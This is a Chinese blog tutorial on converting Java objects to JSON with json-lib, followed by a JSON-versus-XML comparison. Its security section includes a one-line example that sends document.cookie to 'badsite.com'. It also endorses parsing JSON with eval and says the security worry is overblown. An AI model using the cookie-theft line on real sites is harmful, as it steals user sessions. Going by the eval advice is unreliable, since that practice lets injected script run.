Java对象转换为Json对象
前言
曾幾何時,XML是程序員的寵兒,是數據傳輸、API、AJAX應用等方面的不二選擇,但自從JSON橫空出世后,或者你會發覺你身邊就有很多人開始拋棄XML,在他們的心目中,JSON已經完全取代了XML的位置。JSON有很多優勢,但也存在缺點,而XML雖然確實存在不少問題,但孰優孰劣,并不是可以依據個人喜好就輕易得出結論的。
JSON(Javascript Object Notation) 是一種輕量級的數據交換格式。易于人閱讀和編寫。同時也易于機器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一個子集。JSON采用完全獨立于語言的文本格式,但是也使用了類似于C語言家族的習慣(包括C, C++, C#, Java, Javascript, Perl, Python等)。這些特性使JSON成為理想的數據交換語言。 正是因為這樣,twitter已經聲稱他們的流媒體API將不再支持XML,Foursquare則強烈推薦開發者在使用他們的API時選擇JSON,因為他們計劃下一代接口只支持JSON。
注*?在進行編碼前還需要?commons-beanutils-1.7.0.jar 、?commons-lang-2.5.jar 、commons-logging-1.0.4.jar 、?ezmorph-1.0.6.jar 、?json-lib-1.1-jdk15.jar
morph-1.1.1.jar
?
import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map;import net.sf.json.JSONArray; import net.sf.json.JSONObject;import com.ch.entity.JSONTestBean; import com.ch.entity.Props;/*** Java對象轉換為Json對象* @author CHH* @since 2012-08-04*/public class TestJson {public static void main(String[] args) {TestJson j = new TestJson();j.ObjectList2json();}/*** List對象轉換為Json*/public void ObjectList2json() {Map map = new HashMap();List jlist = new ArrayList();//JSONTestBean類的構造方法JSONTestBean bean1 = new JSONTestBean("zhangbo", "123123");JSONTestBean bean2 = new JSONTestBean("lisi", "65489");//Props類的構造方法Props props = new Props("127.0.0.1", "8008");jlist.add(bean1);jlist.add(bean2);map.put("Props", props);map.put("jsonObjectList", jlist);JSONArray jsonArray = JSONArray.fromObject(map);System.out.println(jsonArray);}/*** 布爾數組轉換為Json*/public void arr2json() {boolean[] boolArray = new boolean[] { true, false, true };JSONArray jsonArray = JSONArray.fromObject(boolArray);System.out.println(jsonArray);// prints [true,false,true] }/*** List轉換為Json*/public void list2json() {List list = new ArrayList();list.add("first");list.add("second");JSONArray jsonArray = JSONArray.fromObject(list);System.out.println(jsonArray);// prints ["first","second"] }/*** 創建Json格式的數據*/public void createJson() {JSONArray jsonArray = JSONArray.fromObject("['json','is','easy']");System.out.println(jsonArray);// prints ["json","is","easy"] }/*** Map轉換為Json*/public void map2json() {Map map = new HashMap();map.put("name", "json");map.put("bool", Boolean.TRUE);map.put("int", new Integer(1));map.put("arr", new String[] { "a", "b" });map.put("func", "function(i){ return this.arr[i]; }");JSONObject json = JSONObject.fromObject(map);System.out.println(json);// prints// ["name":"json","bool":true,"int":1,"arr":["a","b"],"func":function(i){// return this.arr[i]; }] }/*** 類對象轉換為Json*/public void bean2json() {JSONObject jsonObject = JSONObject.fromObject(new JSONTestBean("zhangbo", "234234"));System.out.println(jsonObject);/** prints {"func1":function(i){ return this.options[i];* },"pojoId":1,"name":"json","func2":function(i){ return* this.options[i]; }}*/}/*** Json轉換為類對象*/public void json2bean() {String json = "{name=\"json2\",func1:true,pojoId:1,func2:function(a){ return a; },options:['1','2']}";// JSONObject jb = JSONObject.fromString(json);// JSONObject.toBean(jb, MyBean.class); System.out.println(json);}}其他兩個實體類:
View?JSONTestBean 1 /** 2 * 實體類一 3 * 4 * @author CHH 5 * @since 2012-08-04 6 */ 7 public class JSONTestBean { 8 9 private String userName; 10 private String password; 11 12 public JSONTestBean() { 13 14 } 15 16 public JSONTestBean(String username, String password) { 17 this.userName = username; 18 this.password = password; 19 } 20 21 public String getPassword() { 22 return password; 23 } 24 25 public void setPassword(String password) { 26 this.password = password; 27 } 28 29 public String getUserName() { 30 return userName; 31 } 32 33 public void setUserName(String userName) { 34 this.userName = userName; 35 } 36 } View Props /*** * @author CHH* @since 2012-08-04*/ public class Props {private String ip;private String port;public Props() {}public Props(String ip, String port) {this.ip = ip;this.port = port;}public String getIp() {return ip;}public void setIp(String ip) {this.ip = ip;}public String getPort() {return port;}public void setPort(String port) {this.port = port;}}?
CHH博客將從下面幾個方面來客觀比較一下兩者
- 1.?可讀性
- 2.?是否易于在服務端創建數據
- 3.?是否易于在客戶端處理數據
- 4.?擴展性
- 5.?調試和故障排除
- 6.?安全
可讀性
兩者都具備很好的可讀性,但從實際應用出發,個人還是覺得XML文檔的可讀性無疑會更高,要求你從一大堆的json代碼里看出它的結構層次關系還是相對比較困難的;而且現在很多的IDE工具都可以把XML格式化成易讀的結構形式,看起來相當舒服,而json則不然。在這一方面我投XML一票。
是否易于在服務端創建數據
XML已經流行了好多年了,故目前流行的編程語言都已經存在大量的XML數據綁定API去進行創建XML,以java語言為例,你既可以用JAXB,又可以用XmlBeans,又或者dom4j、jdom等去把數據寫到xml文件中。而另一方面,json這一方面的API則相對是一個全新的領域,盡管如此,json官方網站還是列出了很多令人印象深刻的各種語言的API,java方面比較著名的有json-lib,此外gson也算一個。在這一方面,雖然json相對于XML并不是望塵莫及,但還是略微遜色一籌,尤其是在復雜的應用方面,XML方面的API已經存在多年,相對來說成熟穩定得多了。
是否易于在客戶端處理數據
在客戶端,要處理XMLHttpRequest請求返回的json格式響應數據是一件輕而易舉的事情,只需要使用javascript的eval函數就可以實現把json格式的數據轉換成javascript對象,然后通過對象的屬性去訪問值,這就是json最優雅之處,無數人為之著迷。而XML在這一方面就不是那么的友善了,曾令無數的程序員頭痛不已,因為處理XML響應數據,你得通過DOM樹,這是非常繁瑣且容易出錯的工作。這一點,我毫不猶豫地選擇json。
擴展性
可擴展性有助于減少生產者與消費者之間的數據耦合。在AJAX應用里,客戶端腳本應該合理地兼容不可知的數據擴展。
毫無疑問,XML是可擴展的,但它的擴展是有局限的,因為如果你要適應擴展的話,那么你的客戶端代碼不得不作出相應的改動,如以下的客戶端解析代碼
?| 1 2 3 4 | var xml = xhr.responseXML; ?var elements = xml.getElementsByTagName("firstName"); ?var firstNameEl = elements[0]; ?var lastNameEl = firstNameEl.nextSibling; |
如果你在響應xml中<firstName>結點后增加了<middlename>這一結點的話,那以上的代碼就要作相應的改變,否則會出錯,也就是說,XML的擴展得伴隨著解析代碼的變更,這可沒有什么魔法可言。而json則簡單得多,即使你要增加middleName這一屬性,在js客戶端依然是通過對象訪問屬性值即可,而不會引起js上的語法出錯之類的錯誤,導致程序無法執行。
調試和故障排除
這方面需要從服務端和客戶端兩方面進行考慮,在服務器端,要確保數據是格式良好的和有效的;在客戶端,它應該容易調試錯誤的。
使用XML的話會相對容易地檢查數據被發送到客戶端是格式良好的和有效的。您還可以使用數據架構(schema)來驗證xml的正確性和有效性。使用JSON,這個任務是手動的,并涉及驗證響應對象中是否包含正確的屬性。
在客戶端,要從兩者中找到錯誤都是比較困難的。對于XML,瀏覽器是完全無法將xml格式化成responseXML;如果對于數據量較少的json數據,還可以通過firebug來發現錯誤,但對于大數據量的話,那只能靠手工檢查了,否則也只能坐以待斃了。
安全性
有人認為,使用json是不安全的,原因是json里可以包含js代碼,而客戶端中使用eval可以使這些代碼執行,而這些代碼可能會存在安全隱患。如以下的代碼:
?| 1 2 3 4 5 | window.location = "<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie; ?person : { ?"firstName"?: "Subbu", ?"lastName"?: "Allamaraju" ?} |
上面的代碼會導致瀏覽器把用戶的cookie數據提交到一個流氓網站。但出現這種情況的可能只會是開發者故意為之,別人是無法這樣做的,但如果是開發者有意為之的話,那他一樣以別的方式來實現把你的cookie數據提交到流氓網站,這與是否使用json無關,所以相對于XML,json是同樣的安全的。
?
我的結論
面向數據的應用,個人比較喜歡使用json,因為它簡單和易于在客戶端進行處理,或者xml在服務器是無與倫比的,但json在客戶端的優勢也是很明顯的。
另外,json官方也有一篇專門比較兩者的文章,大家可以參考一下:《JSON: The Fat-Free Alternative to XML》
轉載于:https://www.cnblogs.com/yuxiang204/archive/2012/10/16/2726256.html
總結
以上是生活随笔為你收集整理的Java对象转换为Json对象的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 10-10数组的介绍
- 下一篇: .GRIDVIEW奇偶行变色